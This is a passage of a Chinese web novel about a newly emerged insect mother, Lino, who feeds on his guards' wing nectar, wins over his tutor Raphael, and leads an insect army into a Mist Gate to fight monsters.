安瑟姆的眼神蓦地晦暗，他将小虫母抱起来：“冕下，我带您去房间进食。” 虫族的翅膀在发热，只因为利诺的一句话。 等拉斐尔再次衣着整洁出来时，他率先收获的，不是来自小虫母的询问，而是安瑟姆略带同情的目光。 衣鱼拉扯衣领，觉得安瑟姆的目光令虫反感，为什么要同情他？ 安瑟姆微微颔首：“冕下饿了，我先带冕下离开。” 他大步迈过衣鱼的身边。 有时候心眼多并不是好事，尽管拉斐尔诱哄利诺抚摸他的身体，但尚未开窍的冕下在进食时从来不会想到拉斐尔。 “冕下？”拉斐尔错身闪开，一头雾水。 而利诺环抱安瑟姆的脖子，甜甜地笑：“我要吃饭了，拉斐尔老师，有什么新出的知识点你还会告诉我的，对吧？” 利诺露出适当的仰慕和期待，就算是他不认识的虫族也不会拒绝他的请求。 “……当然。”拉斐尔立刻反应过来，他没有成功，反倒便宜了安瑟姆，虫母要吃安瑟姆的翅膀蜜液，他默默将咬碎的牙齿往下咽，“我的荣幸！” 口囊内的蜜液在不甘地分泌，却因为无法喂食想要喂食的存在而泛起轻微的苦涩。 利诺的房间是军舰上最好的房间，虫族在利诺入住前加班加点打通几个房间重新修改装饰，力求让他们的虫母可以住得更加舒适。 安瑟姆有打开利诺房门的权限，他低头问：“冕下，您要在哪里进食？厨房的餐桌、客厅的沙发还是卧室的床？” 利诺捏捏安瑟姆的翅膀，手指沾上虫族分泌的甜蜜：“都可以。” 于是安瑟姆顺应本心，将利诺放到床榻上。 松软如云朵的大床凹陷下去，而安瑟姆则半跪在利诺的垂落在地面的脚边，将浸满蜜液的翅膀奉上。 利诺在几次进食中早已学习到什么样的姿势会让他进食更方便和舒适。 赤白的足踩在虫族坚实的大腿上，身体略微前倾靠在虫族的肩膀，只需要用手稳定住虫族的胸膛，就可以将虫族的翅膀叼到嘴里，淡金的蜜水便会随着翅膀的纹路，流入他的口腔，满足他的食欲。 安瑟姆分泌的蜜液很好吃，利诺饿起来会不管不顾，榨取完那双可怜的翅膀能够分泌的最后一滴食物。 翅膀明明也是虫族在战斗中的利器，薄薄的一片可以将怪物削成两段，但此时却成了满足虫母的器皿。 利诺的护卫队长沉默又顺从，即使翅膀上发达的亿万神经因为柔软的唇舌舔舐以及牙齿的轻磨而不住颤抖，汗水打湿他的头发，蜜色的肌肉克制紧绷。 每一次对虫母的喂食，都是虫族实现价值而从身心散发的满足和不满，满足是他有能力喂饱饥饿的虫母，不满是他不满足仅在这一方面满足挚爱的冕下。 安瑟姆的虫瞳分裂无数细小的复眼，他缓缓闭上眼睛，而喉咙间却在滚动着雄虫求欢的呼噜。 抱着漂亮青年纤瘦的腰，安瑟姆勉强维持英俊的拟态人形，虫纹生长迅猛，覆盖住半边面容，怪异又缠绵。 利诺进食的速度渐渐慢下来，他很贪心，许是之前长期的饥饿让他养成只要有食物就会一滴不剩全都吃完的习惯。 他在进食完后在虫族的翅膀间留下一个浅浅的牙印，表示他对食物的满意。 “吃饱啦！”利诺撑起身体，注意到了安瑟姆的尾钩，尾钩和翅膀一样，都是杀人于无形的武器。 虫族是被危险的迷雾环境逼出的战争机器，它们身上的每一个构造都在助力无数场战争的胜利。 在虫族历史的刚开端，虫群还没有继承和发展之前种族的文明和科技，仍旧处在野蛮未开化的阶段，却能靠着强悍的身体和天生的战斗本能驱散迷雾。 而虫族也不仅仅只是战争机器，在利诺的出现证明，虫族的大部分构造也在为虫母服务。 比如翅膀上的废液，又比如虫族还没有发觉的尾钩。 利诺在蜕变后并没有尾钩和虫纹，他轻轻拽了下安瑟姆的发丝：“我可以看看你的尾钩吗？” 他很好奇，尾钩在现在的战场上是类似暗器的存在，虫族会从小被培养使用冷热兵器，但尾钩依旧有用。 但凡和虫族战斗的怪物有丝毫的分心，那条尖锐狰狞的尾钩会立马捅进怪物的要害，勾烂怪物的器官，夺走怪物的性命。 安瑟姆声音沙哑：“遵命，但是冕下，您要小心。” 虽然不同虫子之间的尾钩不尽相同，但尾钩都是一致的危险，外表恐怖狰狞，倒刺、利刃遍布，以及尾端的尖刺。 老实说，尾钩丑陋至极，安瑟姆以及其他虫族一直在避免将这条尾钩暴露在利诺的视线里。 安瑟姆把尾巴尖稍微伸到利诺可以够到的距离内，他的尾钩是与翅膀颜色一样的乳白。 利诺伸手就要摸，眼看虫母的手指就要碰到过于尖锐的倒刺，安瑟姆连忙闪开。 他没有躲开，利诺抓住了虫族的尾钩。 “冕下！”安瑟姆的声调拔高，焦急要查看利诺的手掌。 尾巴的表面全是密密麻麻的刺与刃，但凡摸上去，就会被锋利的武器无情刺穿，安瑟姆无法想象自己居然有一天会伤害到他侍奉的利诺冕下。 “没有什么事，原来尾钩上的刺会收起来！”利诺摸到了略显粗糙的冰冷尾钩。 利刃早在利诺的手指覆盖上时自动收缩，变成一条不那么平滑的、白色尾巴。 安瑟姆自己都没有意识到，原来他的尾钩是会把刺都收起来的，他自己不能控制，可是尾巴却是在感知到虫母的气息后自动变成了无害的、取悦虫母的玩具。 谁能想到，可以将怪物搅成烂肉的凶横武器也是虫母的玩具。 利诺很喜欢安瑟姆的尾钩，或者说，无害的尾钩更像是尾巴。 在安瑟姆还呆愣的时候，利诺变回精致的小蝴蝶，全部的虫肢刚好可以伸到尾钩的几个凹陷内。 一切都恰到好处，甚至比利诺睡床还要舒服。 这是虫族为虫母而生的栖息温床，就像古神话中凤凰的梧桐木。 小蝴蝶抱着尾钩沉沉睡去，尾钩尖打转，想要同样环抱蝴蝶，却因主人的僵直而无法做到。 安瑟姆同样变回虫型，在贴身保护虫母的时候他不会入睡，他只是觉得这样也许利诺冕下会更舒适。 果不其然，有虫族的翅膀和尾钩，小蝴蝶的两根触角快乐地晃动，同时陷入了更加深度的睡眠。 在梦中，利诺迷迷糊糊地还在想，他是不是无意中发现了一个虫族常识的考试点。 而且这个知识点是他发现的，到时候考试的时候他不得分谁得分？！ 得记下来……算了，还是睡醒再记好了…… 安瑟姆无言守护睡梦的虫母，同时用腕表拍了一张照片，发给拉斐尔。 他的本意是让拉斐尔看虫族尾钩和冕下无比契合的现象。 然而拉斐尔却只看到利诺在抱着安瑟姆的尾钩，羡慕得眼珠子都红了，将还在研究的那本叫“如何读懂母亲——子女必读书籍的强力推荐”的古籍扔到一边。 这书不管用，一点都不能帮助他夺取冕下的欢心！ 独守空房的拉斐尔不再有以往的从容和善，彻底陷入破防。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 24、第二十四章 一夜好眠，数字钟表准时计时，在时针指到六时，栖息于乳白虫尾的蝴蝶从睡眠中被唤醒。 通体透明、仅在尾翼染上两片晕红的蝴蝶颤动触角，竖瞳清澈。 利诺重新拟态，却没有收回翅膀，双腿夹着安瑟姆的尾钩懒懒打了个哈欠。 “冕下，早安。”忠诚的虫族护卫就算用灵活的尾钩感受来自青年细腻的腿肉而身形僵硬、呼吸燥热，也不会露出掠夺的攻击性，而是克制又温柔地问好。 “早，安瑟姆。”利诺蹭了蹭尾钩，眼尾堆满惺忪，这是他有史以来睡得最好的一次。 虫母和雄虫的尾钩是天生的契合，在上面栖息的蝴蝶会得到最大的安全感和最美的梦境。 但利诺是个自律的小蝴蝶，就算变成虫母也不能中断他一如往日的体能训练。 他勉强从虫族的尾钩爬起来，穿好衣物，和安瑟姆说了一声后走近与房间配套的训练室。 两小时后，训练完毕的利诺洗完澡出来，气喘吁吁，但脸上是全然的欣喜。 他的跑步速度又提高了零点几秒，别看只是个小数点，所谓日积月累、积少成多…… 利诺挺挺单薄的胸脯，他早晚有一天会变成最厉害的小虫！ 在安瑟姆的带领下，利诺进入另外一个房间内。 和安瑟姆同样一夜没睡的拉斐尔早早便在这里等待虫母冕下的到来，他勉强维持温和的表面：“冕下，早上好，可否吃了饭？” 利诺：“昨天吃的很饱，估计晚上才会饿。” 他坐在沙发上，让这两只高级虫族也跟着坐下，左右看看，这才奇怪地问：“伊戈提安和希尔维乌斯呢，还有我带出来的虫兽？” 他昨天就没见到，还以为他们要给那只虫兽做安全检测，但是今天依旧没有这三只虫族的踪影。 拉斐尔回答：“元帅得知了这只虫兽的事情，让希尔维乌斯和伊戈提安另外驾驶飞船将虫兽尽早带回去。” 英玛星在天璇星系，而蓝星则归属阿尔法星系，之间相差一个大星系，就算虫族的科技水平不低，但长距离的行驶也不是一时半会可以到达的。 考虑到利诺刚蜕变，这艘军舰保持着低速的行驶，而非希尔维乌斯那艘小型军舰不限次跨越时空，直接到达蓝星附近。 利诺内心泛起淡淡的警惕：“那位元帅为什么要这么做？他会对虫兽做出不好的事情吗？” 他不是很高兴地补充：“虫兽是我带回来的，他应该由我管理，而不是元帅的一句话，就越过我把救了我的虫兽带走。” 元帅算是虫族最神秘的虫子，他早先靠着关闭大量迷雾之门而不断升到元帅的位置，但频繁出入迷雾之门导致他的意识海变得极其不稳定。 利诺没见过这个元帅的相关照片，只知道元帅在最后一次迷雾之门内惨胜后，就进入了疗养院内养病。 安瑟姆也告诉过他，元帅的最后一次进入的迷雾之门，就和利诺这次进入的相似，却更危险。 但元帅擅自把他的虫兽带走，让利诺升起一点厌恶的情绪。 虫母对整个虫群拥有绝对的掌控，然而明显，这个还没有过虫母的虫群此时并未完全掌控在利诺手中。 除了被冒犯的不悦，利诺生气还因为虫兽对他的特殊意义。 没有多少神志、也不存在之前记忆的虫兽将他从濒危死亡中拉回来，用丰富的蜜液促使他的最终成熟，又在他蜕变的前期一直保护他…… 虫母的声音不低，却如同一记响钟敲在拉斐尔的心头。 虫母周遭散发的味道变得危险，让拉斐尔深刻体会到虫母位于金字塔尖的至高无上，哪怕虫母的本身战斗力比不上其他的雄虫，但仍旧轻易地置他于死地。 那是从等级上的彻底压制，也是从血脉上的完全碾压。 利诺无须亲自动手，就会有无数虫族会替他铲除一切威胁到他的存在。 不，都不用其他虫族出手，利诺光靠与所有虫族连接的意识海就可以将不听话的虫子湮灭。 看起来漂亮柔弱、平时又习惯撒娇的利诺是实实在在的掌控者。 拉斐尔的危机感前所未有的浓烈，然而他又因为利诺展露的姿态而忍不住痴迷。 “冕下，请您不要生气，事发突然，我们都不想打扰您的休息。”拉斐尔跪在冰冷的地面上，以全然臣服的姿态解释。 利诺敛眸，接过安瑟姆递来的果汁，抿了一小口：“虫兽的安全能够保障吗？” “可以，元帅不会伤害那只虫兽……元帅有说他认识虫兽……” 拉斐尔的话说到一半，下巴被虫母轻轻挑起。 纤细白嫩的指尖钳制着高大却保持臣服姿态的衣鱼，拉斐尔看到面无表情的利诺，瞳孔颤动，身后的尾羽略微卷起。 利诺命令：“拉斐尔老师，保持这个姿势可以吗？” “可、可以……” 拉斐尔微仰头，竖瞳眨也不眨地盯着白发青年，虫母冕下此时好看极了，就算高高在上，也让他止不住的心动。 儒雅的中级虫族此时稍显狼狈，为面见虫母而精心打理的头发造型不在，衣服也因为一系列的动作稍显凌乱。 可是拉斐尔的虫瞳里没有一丝被挑衅的怒火，反而全都是迷恋和爱慕。 利诺看了拉斐尔一会儿，鼻尖微动，目光下移，食指伸进这只虫族的嘴中，在拉斐尔惊异躲开前，他挑眉：“拉斐尔，不许动。” 听从虫母一切命令，雄虫嘴里含着虫母的指尖，立刻不准备挣扎，而是顺从地任由指尖在他的口腔内搜寻着什么。 “哇。”利诺扬起意味不明的笑，指尖触及到拉斐尔口腔内的蜜液储存囊，“你的这里竟然会分泌出我需要的食物。” 拉斐尔眨了下眼，表明利诺说的是对的，他口腔内的囊袋在看到利诺时就在少量分泌甜液。 他张着嘴，纵容任由虫母的手指随意刮蹭敏感储存袋。 利诺并不饿，就是脾气上来故意逗弄下虫族，时间很短，他把手指上属于拉斐尔的蜜液蹭到拉斐尔的外套上。 他收起笑，而是询问：“拉斐尔老师，你好像和元帅关系很好。” 利诺一边蹭干净手指，一边漫不经心：“虫族好像有不少不认可我的……” 在那次的全族精神链接中，他有听到抵触虫母的声音。 拉斐尔尽力解释：“元帅真没想……” “嘘——”利诺不让拉斐尔说话，而是进一步问，“如果那些虫子想要伤害我，拉斐尔老师，您会站在我这边的吧？毕竟我弱小可怜，只是一只新生的、没权没势的虫母，能够倚仗的，也只有你们了……” 可以通过意识海轻松铲除不听话虫子的青年，此时将自己说的可怜极了。 拉斐尔知道，利诺只是在确认他对他的服从性和忠诚度。 如果他稍微有些异议，利诺可能不会杀他，但肯定不会再信任他，和他交流，对他露出毫无阴霾的笑容。 拉斐尔不可能受得了那样的假想，纵然知道元帅无心但惹怒了利诺，他没有再试图解释，而是抓住利诺的手腕，在手背上烙下一个饱含珍惜的吻：“冕下，我会是您最得力的工具、最忠诚的属下。” 那种危险的味道逐渐淡去，利诺用脚踩了下拉斐尔的膝盖，笑容乖巧无害：“我知道啦，你的选择很正确！” 闻到两只虫族的蜜液，利诺靠在沙发背上，大度道：“你们可以先去处理一下。” 不说直面这种刺激的拉斐尔，就连安瑟姆仅是旁观，翅膀也因为对虫母的着迷而分泌了微末的液体。 两只虫离开，利诺连忙打开腕表的虚拟镜子。 逼真的镜面反照出他如释重负的表情，利诺深深吸了一口气，小声嘀咕，自我鼓励：“利诺，你真是个大大的天才！” 打一个棍子再给个甜枣吃，是上辈子利诺见基地首领经常使用的御下方式。 那老东西虽然最后把他坑死了，但利诺在他身上学到了不少。 这不，拉斐尔就被他拉到了己方势力！ 心中的负面情绪烟消云散，利诺此时恨不得把两只翅膀露出来飞上两圈。 但不行，利诺轻咳两声，等拉斐尔他们回来，他还需要确定蓝星有多少抵触虫母的虫族。 都是同族，利诺不会杀这些虫子，他不是暴君，教养也不允许他做出这么残暴的事。 哼哼，利诺决定，要把这些不听话的小弟流放到矿星挖矿！挖上一百年！挖到灰头土脸！ 那个把他的虫兽带走的元帅，利诺要把他发配到活最多环境最恶劣的矿星挖两百年的矿石！ 挖矿！挖矿！反对他的都给他去挖矿！ 利诺把他的决定给拉斐尔和安瑟姆说后，安瑟姆是从小就被教导要忠诚虫母的护卫，连连赞同，没有一点异议。 而拉斐尔眼神复杂，默默帮元帅擦把冷汗，随即温柔地笑着点头。 冕下得意的小表情可爱死了！如果利诺高兴，元帅挖五百年的矿他拉斐尔也会举起所有的虫足全力赞同。 接下来，利诺保持着军校的课程表，上午由拉斐尔上文化课，下午则在其他虫族的帮助下进行训练，晚上饿了就准备吃安瑟姆的蜜液。 “冕下，您要尝尝我的吗？” 拉斐尔低下头，口腔内蜜液的甜味迫不及待得溢出，飘到利诺的鼻腔。 是酸甜的菠萝。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 25-30 第25章 利诺只吃过菠萝罐头，没有吃过新鲜的菠萝，而虫族连菠萝罐头都没有。 新鲜的菠萝会比菠萝罐头更好吃吗？利诺想尝一尝。 只是，想到这种味道是从哪里飘出来的，利诺连连后退：“不用了。” 他才不敢吃！ 笑话，要是真的吃了，他这算吃饭还是吃拉斐尔的嘴子？！ 拉斐尔微微失望，头发遮挡眉眼：“好吧。” 被利诺无情拒绝，拉斐尔只能失落地说出自己来的另一个目的：“冕下，您是否允许我将您的联络方式推给伊戈提安？” 伊戈提安在整个军部臭名昭著，连希尔维乌斯都能惹怒，因此在他向希尔维乌斯要利诺的联络方式时，遭到了冰冷的拒绝。 没有办法，伊戈提安只能厚着脸皮求到拉斐尔这里。 “可以。”利诺对伊戈提安的印象不错。 拉斐尔艳羡地看着安瑟姆伸出的尾钩，仍旧不死心：“那冕下，您今晚想要在我的尾须上睡觉吗？” 他将比起大多数虫族来说不那么畸形丑陋的尾须扒拉到利诺的脚边，毛绒绒的尾须轻触利诺的脚趾。 利诺有些心动，他不由地看向安瑟姆。 不知道为什么，当着安瑟姆的面和其他的虫族聊这个，利诺会有些心虚，就好像做了对不起安瑟姆的事。 然而安瑟姆一如既往支持利诺的一切决定，毫无怨言：“冕下，我不介意您选择拉斐尔阁下的尾须，只要您开心。” 安瑟姆是多好多可靠的手下啊！ 利诺不愿意让更与他亲近的安瑟姆难过，他模棱两可：“今天先不了，我改天再睡你的尾须。” 注意到拉斐尔非常明显的失望，利诺又软软道：“拉斐尔老师，祝你今晚有个好梦。” 他朝拉斐尔眨了眨眼，只要利诺稍微卖个乖就能被哄好的拉斐尔果然重新挂上恰到的笑容：“有您的这句话，想必我今晚必定会梦到您。” 有利诺存在的梦，才是真正的美梦。 这是拉斐尔第二次败在安瑟姆的手下，衣鱼老师百思不得其解，为什么有的虫看起来老实木讷，争起宠来手段这么高！ 之前故意拍小蝴蝶栖息在尾钩上的照片试图激怒他，现在居然还会以退为进…… 拉斐尔回到自己的房间，连夜翻阅书籍，他不信他下次还不能争得虫母的偏心和宠爱！ 利诺送走拉斐尔，又在安瑟姆的翅膀上摄入可以维持一天的能量，然后才算有片刻的休息娱乐时间。 信息栏中，希尔维乌斯于上午八点整发送信息：冕下早安，吃得好吗？ 利诺回复：早安。 希尔维乌斯于中午十二点整发送信息：冕下午安，饮食是否还满意？ 利诺回复：可。 希尔维乌斯于晚上九点整发送信息：冕下晚安，晚餐吃得可还好？ 利诺嘴角抽抽，直接回复了个句号表示无语。 他强烈怀疑希尔维乌斯是一台设定好的虫子机器，定时定点发送一样的内容。 倒是伊戈提安，利诺刚通过他的申请，对面就火速发来一长串信息。 伊戈提安：冕下，您最近怎么样？我可算加上您了，该死的希尔维乌斯想要独占您，不肯给我您的联络方式！其他虫族有没有欺负您？如果您不高兴可以告诉我，我替您收拾那些臭虫子！ 与希尔维乌斯相比，伊戈提安就略显聒噪。 不过利诺倒是有话要问他，懒得多打字，直接视频通话。 响了许久，在利诺以为伊戈提安不会再接时，通话申请被同意。 腕表投射出伊戈提安的半身影像，上半身没穿衣服，身材是完美的雄性倒三角。 确保影像的角度能够让他的魅力最大化，伊戈提安这才佯装随意地撩起黑发，线条流畅的肌肉刻意紧绷，锋利的眉眼在灯光下越加深邃：“冕下，两天不见，您更加美丽了！” 但是伊戈提安这样子是摆给瞎子看，因为利诺只听到他夸的“美丽”二字。 “……”利诺没好气，“少说废话，我问你，你们到蓝星了？” 伊戈提安正经起来：“今早就到了。我们一路没休息不断进行空间跳跃，军舰上的低级虫族没有承受住而吐得昏天黑地，落地就被送到医疗中心了。” 但正经不过一分钟：“但是冕下，我就没有任何事，区区十五次空间跳跃而已，对我只是洒洒水。” “行，你挺厉害。”利诺敷衍夸了句，就见对面的虫族眉开眼笑，八颗尖牙整整齐齐。 利诺不打算继续和伊戈提安扯这些，而是直接道：“你把我的虫兽带到哪里去了？” 伊戈提安一愣：“就送到元帅在的疗养院了，元帅说那只虫兽是他的下属，他有办法让虫兽恢复理智。” 他搓搓手，带着点酸味：“我知道您偏爱那只虫兽，等到了蓝星，您也许会看到一只正常的虫族。” 知道虫兽的现状，利诺的表情更加难看：“伊戈提安，我不相信那个元帅，他自身的意识海都有问题，怎么修复虫兽的意识海？只有我可以慢慢理顺虫兽杂乱的意识海。” 利诺看了眼心虚的伊戈提安：“你和希尔维乌斯以及那个元帅最好保证虫兽的安全，否则我一定会让你们都去矿星挖矿！” 展露獠牙的虫母可怕也可爱！伊戈提安疯狂截图。 “我这就去查看虫兽的情况！”伊戈提安严肃保证，“请您相信我是永远站在您那边的，元帅算个p……球！” 挂断和伊戈提安的通信，利诺才算是彻底放松下来。 他和希尔维乌斯的交集不多，而且希尔维乌斯又是那个元帅指定的下一任元帅，他不能问希尔维乌斯。 但伊戈提安不一样，这只虫族曾说过让利诺把他当成狗，而且他们一同关闭过迷雾之门，有点交情。 有伊戈提安在，那元帅就算想对虫兽做什么也不一定会成功。 “叮咚——”腕表收到一条来自蓝星军部的短信。 这种面对四大星系各个星球虫族的整体短信并不常见，就利诺知道的，上一条这样的短信内容是军部已彻底将天璇星系的迷雾驱散干净。 [致全体虫族：热烈庆贺我们挚爱的母亲、至高的虫母冕下已诞生，相关事宜正在筹备中。另，废液暂时被改名为蜜液，蜜液分泌腺手术全面取缔。——蓝星最高军部] 利诺看了半天，才确认这是蓝星军部发的整体通知。 等等，不是说军部有一半的虫族都相当抵触他这个突然出现的虫母吗？怎么这么快就认可了他的存在？还先把废液这个难听的名字改了？ “安瑟姆，你有收到军部发的信息吗？”利诺扭头问。 安瑟姆把收到的一模一样的消息转到利诺这边：“冕下，有的。” 他不觉得奇怪，肯定道：“虫族理应欢迎您的诞生，而且到了蓝星，应当会有很多机关与您商谈。” “商谈什么？” 护卫提出几个最有可能的：“比如军部会支持您建立完整的政权，科研院也许会请求您做详细的身体检查……” 这些都是安瑟姆还在为虫母护卫队训练时，听到那些相信虫母必将降临的虫族提及的。 但那时候虫母还是个虚无缥缈的假设，这些问题只是简单略过，没有详细深挖。 建立一个政权是很复杂的事情，但利诺已经做好先处理不听话虫子、最终完全统治虫族的长期准备了。 小蝴蝶有的是野心，而这个身份也让他注定会实现这份野心。 接下来的几天，军舰顺利行驶，周围同样护送这只主军舰的十来艘军舰始终小心跟随。 宇宙浩瀚无垠，时间与空间相互交织，勾勒光怪陆离的星球、陨石和星云。 军舰驱破漆黑的颜色，从天璇星系跨越进更加瑰丽壮观的阿尔法星系，一片如玫瑰绽放的星云聚拢，孕育无数未来的恒星。 两辈子加起来第一次进入宇宙的利诺贴在透明的船壁上，出神地凝望，挺翘的鼻子因为他对星空的渴望而被船壁暂时压扁了一点。 护卫虫族跟随此时展露出小孩子脾性的虫母，目光宠溺。 在可怜的鼻子再度因为利诺往前凑的动作而泛红前，安瑟姆出声建议：“冕下，我带您去外面逛一圈？” 利诺的神态、举止已经暴露他对军舰外面环境的向往，听到安瑟姆的话，惊喜道：“可以吗？” “当然。”安瑟姆补充，“为了您的身体健康，我会在三分钟后将您带回来。” 利诺搭上了安瑟姆的手，轻巧的蝴蝶翅膀自蝴蝶谷延伸生长，一点磷粉掉落于半空，被其他的虫族护卫拿特殊装备保存起来。 然而军舰的灯光突然变红，一个加急通讯由蓝星军部传送进主军舰内。 正在驾驶舱的利诺刚好也看到那条通讯。 希尔维乌斯的立体影像出现，他的神情肃穆：“元帅于一小时前从蓝星出发，预备亲自迎接虫母冕下并接受惹恼冕下的惩罚。但于十分钟前，元帅乘坐的军舰在跨越时空时撞入迷雾内，暂时失去联系。主军舰E769收到这条消息后，不要再前进，务必全力保护冕下的安全！” 利诺的视线移置墙壁外，回答：“唔，已经看到了。” 军舰在迷雾的边缘停下，那团比宇宙最深的黑洞还要黑的雾气悄无声息地悬浮。 迷雾之门明晃晃地矗立在迷雾的边缘，似乎毫无忌惮地挑衅路过的虫族。 门的四周漂浮着一些碎片，以虫族的视力可以轻松看出那是星舰的残骸。 很显然，那个元帅乘坐的军舰撞到迷雾之门上了，至今仍未研究出材质的门将军舰撞得四分五裂。 而那个元帅和亲卫估计是已经进入到了迷雾之门内。 只是，利诺看向投影里的希尔维乌斯：“那个元帅来凑什么热闹？” 明明他再过两天就到蓝星了，到时候他自会处置这只神秘虫族。 希尔维乌斯的眼神炙热，他很想念利诺，每天冥思苦想和利诺发送的消息内容也缓解不了那种想念和急迫。 只要见过利诺、听过利诺的声音，虫族都不会舍得离开利诺。 希尔维乌斯不是很明白为什么利诺冕下刚开始还会回他个早安晚安之类的信息，到后面就成了简单的句号。 他在难得的短暂空闲内会盯着利诺发来的一串句号，静静思考冕下的用意。 他的每一个细胞都在叫嚣着不要离开冕下，要喂养妈妈，要爱护妈妈，要每一天都比前一天更爱妈妈。 但现在不是问这个的时候。 虫瞳在异化边缘被伊戈提安强大的自制力硬生生压下去，回答道：“元帅听闻您对他的擅自行动感到生气，所以在意识海较为稳定后就匆匆前来向您认罪……冕下，在一小时前我已经向您发送了相关的信息，您还回复了一个句号。” “……” 利诺悄悄翻了个白眼，他早就把希尔维乌斯这个虫机给设定成了免打扰模式。 谁让希尔维乌斯天天按时按点发一些早安午安晚安的问候语，他懒得回复，于是设置成自动回复一个句号…… 利诺摸摸耳朵，顺利糊弄过去：“哦哦我当然有看到！有劳希尔维乌斯你提前警告我们。” 他给那名操作台边的中级虫族使了个眼色，时刻关注虫母的虫族立刻会意，按断和蓝星军部的通讯。 利诺给那中级虫族竖了个大拇指，长相俊朗的虫族立马羞红脸颊，用眼角的余光偷偷瞄利诺。 利诺本人很无奈，他就是这么有首领的风范，短短几秒再次征服一只虫族小弟。 稍稍自我陶醉一秒，利诺搭上安瑟姆的肩膀：“走，我们去闯一闯迷雾之门！” 小虫母银灰色的眼眸里透出熟悉的兴奋感和探索欲。 拉斐尔走进来：“冕下，迷雾之门的危险不可预料，什么都有可能发生。” “可是关闭迷雾之门的过程令虫着迷。”利诺兴致勃勃盯着那扇出现在宇宙中的金属门，“我享受危险，也会征服危险。” 虫母此时比以往的任何时刻都要漂亮，仿佛四周的光线都被他吸引，他反问：“拉斐尔，你不相信我吗？” 拉斐尔低低笑出声，他拉过利诺的手，吻在他的手背，无比虔诚：“冕下，您是我唯一的信仰。” 利诺得偿所愿，被安瑟姆抱着进入宇宙，身后是几艘军舰内四分之三的虫族士兵。 他是探索迷雾之门，不是去送死，虫族单体的作战能力不弱，群体作战更是强大，利诺这只虫母当然要发动虫族的群体作战优势。 进入外太空后，利诺有点不适应，真空环境和宇宙射线无时无刻不在尝试撕裂他的身躯。 但虫族的身体构造不会让这样的情况发生，它会在察觉到环境的变化后迅速调整体内的能量循环，适应周围环境。 只是利诺第一次在宇宙中飞行，难免会不知所措。 安瑟姆摸了摸利诺颤抖的翅膀：“冕下，还好吗？” 在宇宙中，安瑟姆的发声方式也发生改变，从喉咙的发声器官转换成一定频率的电波交流。 利诺点点头，将安瑟姆抱的更紧，柔软的发丝擦过护卫的喉结，一缕玫瑰红的发尾与安瑟姆的发丝亲密缠绕。 拉斐尔没有翅膀，不能飞行，但他的尾须却可以让他在真空环境下稳步跳跃，速度不亚于其他虫族的飞行。 他察觉到利诺脸色的难看，几下到达利诺身边，将利诺从安瑟姆的怀里抱了过去。 安瑟姆没有反对，因为拉斐尔在大事上从来不会耍小心思，他要求抱着利诺，那一定有他的原因。 果不其然，尾须扬起，在他的身边形成一个简易的罩子，利诺立刻呼吸起来。 利诺不好意思：“抱歉，我没想到真空环境会这么难受。” “不是您的错，您才刚蜕变，能够在无保护的宇宙内坚持这么久，已经超级棒了。”拉斐尔安抚自责的虫母，揉揉他的小翅膀缓解利诺的僵硬。 他们这些虫族之所以显得游刃有余，是因为他们在高等军校内接受过长时间的真空环境训练。 拉斐尔道：“我第一次进入真空环境，比冕下您表现的要差得远。” 说话间，虫群到达迷雾之门前，安瑟姆打开把手，率先进入，拉斐尔抱着利诺紧随其后，剩下的虫族士兵训练有素，依次飞进。 是和第一次进入迷雾之门类似的情况，耳朵嗡鸣，同时眩晕袭来。 利诺第一时间是寻找支撑点，度过这暂时的眩晕。 然而背后传来巨大的推力，将正极力摆脱负面影响的利诺往前推。 在利诺的眼眸中，一只巨大的青灰色鳄鱼对他张开血盆大口，里外三排尖牙还残留着肉渣骨块，腐烂的味道扑面而来。 好恶心……利诺的耳朵听不到声音，但已经从充当吊链的空间钮内拿出粉色斧头。 用力往下挥，砍掉类似鳄鱼怪物的半只脑袋，脚踩在模糊的血肉内，利诺稳住身形。 怪物被一击毙命，利诺注意到鳄鱼的四肢不是鳄鱼该有的四个爪子，而是……类人的胳膊如同嫁接那样从鳄鱼的四肢生长，指甲内挤满爬行时蹭到的脏泥，与血肉杂揉成灰褐的肉泥。 “救命！怪物来了！” “不要吃我！不要吃我呜呜呜我不好吃！” “守门的士兵呢？他们怎么还没有来救我们？” “守门的早被吃了……” 利诺看清楚了周围的景象，与前世的丧尸攻城相似，只是丧尸群变成了各种有类人肢体的怪物群。 “嗷！”一头瘦长的猴子怪物跳过来，他的脑袋顶长着四只灰色的肉耳，手掌朝利诺愤怒地拍来。 利诺丝毫不惧，在被怪物的爪子碰到前，翅膀张开，飞到半空。 在怪物左右寻找他时，利诺已经将斧头砍在怪物的脖子，像切豆腐一样，怪物的头和躯干分离、趴倒。 利诺没有继续砍，而是率先飞起来，锁定一个不可置信、看他宛若在看怪物的矮个灰皮人。 青年勾起恶意的笑，在灰皮怪物惊慌失措逃跑的途中，将他从地面拉起来。 “就是你刚才推的我？”利诺的声音极冷，在末世里不怕幸存者不出力，就怕那些幸存者不仅不出力，还拉着出力的幸存者给自己垫背！ 利诺对这种行为深恶痛疾，遇到也从来不会姑息。 “对不起！对不起！我刚才、刚才太害怕了！”那小灰皮人哆嗦求饶，连挣扎都忘记了，他说着流利的通用语，眼泪鼻涕糊了满脸，“你饶了我，我以后再也不敢了！” 利诺瞅准一个怪物，吹了个口哨，在吸引到怪物后，果断将这只灰人丢下去。 灰人的惨叫戛然而止，地面的怪物满意地嚼着从天而降的美味。 在确认灰人彻底死亡后，利诺冷哼着把这只怪物顺手砍死。 干完这件事，他落在相对安全的高墙上，眺望这上千只攻城的怪物。 怪物暴躁凶残，而抵抗的灰色矮人则节节败退。 利诺链接虫族意识，他需要确定其他虫族的情况，意识海内的星点让他得知进入迷雾之门的所有虫族的方位。 由于进入的是同一扇迷雾之门，这次虫族的降落点都比较近，只有少数虫族比如安瑟姆被传送到离这里极远的地方。 他将四周的虫族都叫了过来，才吩咐最远的安瑟姆：【安瑟姆，你既然在另外一个基地，先不用过来，我会让你四周的虫族赶到你那里，你先把基地控制下来。】 【遵命，冕下！】安瑟姆的声音闷闷的。 而在说话间，四周的虫族已经赶到，利诺通过精神网下达命令：【杀光这些怪物。】 虫母是绝对的主宰，虫母的意志即虫族的意志。振翅嘶鸣，虫族为虫母而战！ 利诺无须通过意识海，就可以感受到有无数只虫族正朝着这座基地蜂拥而至，凌冽嗜血的气息越来越浓。 数十只四五米的巨大甲虫从地底钻出，他们稍微一动，无数小型怪物会被尖锐的长肢戳穿，恐怖的尾钩甩动，一只只大型怪物化作烂泥。 而他们厚实的甲壳挡住了怪物的撕咬，丝毫伤害也未曾受到。 